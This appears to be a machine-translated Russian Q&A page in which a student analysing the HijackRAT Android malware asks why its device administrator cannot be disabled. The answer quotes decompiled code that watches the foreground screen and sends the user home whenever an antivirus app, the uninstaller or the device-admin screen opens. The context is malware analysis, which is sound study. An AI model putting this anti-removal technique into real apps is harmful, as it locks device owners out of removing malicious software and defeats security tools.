2015-12-07 2 views
2

В настоящее время я изучаю вредоносное ПО для андроидов «хищная крыса» как часть моего университетского курса. это приложение создает администратор устройства под названием «хром». проблема в том, что администратор устройства не может быть отключен. всякий раз, когда я нажимаю на него, он переходит на домашнюю страницу телефона.Администраторы устройства Android не могут быть отключены?

Каков код для этого действия?

PS: это поведение (переход на главный экран) происходит только в реальных устройствах, а не в эмуляторах. протестированы на галактике Samsung s4 kitkat и шестерке 6 зефира.

вы можете увидеть видео, которое я сделать: источник https://www.youtube.com/watch?v=XAF5xEad-fU

APK: http://contagiominidump.blogspot.com/2015/06/androidoswrobax-hijackrat-android-sample.html

+0

я нашел кусок кода, который может быть связаны с этим поведением, хотя я не 100% так как поведение не происходит все время на всех устройствах или версиях Android. [link] (https://www.youtube.com/watch?v=t64_jXaRl_Q) –

ответ

1
this.timer.schedule(new TimerTask() { 
     public void run() { 
      new Handler(Plugin.this.service.getMainLooper()).post(new Runnable() { 
       public void run() { 
        boolean kill; 
        String name = Plugin.getTopActivityName(Plugin.this.service); 
        if (name == null || !name.startsWith("com.estsoft.alyac.ui")) { 
         kill = false; 
        } else { 
         kill = true; 
        } 
        if (!kill) { 
         if (name == null || !name.contains("packageinstaller.UninstallerActivity")) { 
          kill = false; 
         } else { 
          kill = true; 
         } 
         if (kill) { 
          for (String pkg : Plugin.oldPackageList) { 
           if (Plugin.isAvilible(Plugin.this.service, pkg)) { 
            kill = false; 
            break; 
           } 
          } 
          if (kill && Plugin.isAvilible(Plugin.this.service, Plugin.V3_PACKAGE)) { 
           kill = false; 
          } 
         } 
        } 
        if (!kill) { 
         if (name == null || !name.contains(".DeviceAdminAdd")) { 
          kill = false; 
         } else { 
          kill = true; 
         } 
         boolean mdarEnabled = devicePref.getBoolean("mdar", false); 
         if (kill && !mdarEnabled) { 
          kill = false; 
         } 
        } 
        if (kill) { 
         Intent intent = new Intent("android.intent.action.MAIN"); 
         intent.addCategory("android.intent.category.HOME"); 
         intent.addFlags(268435456); 
         Plugin.this.service.startActivity(intent); 
        } 
       } 
      }); 
     } 
    }, 2000, 200); 
Смежные вопросы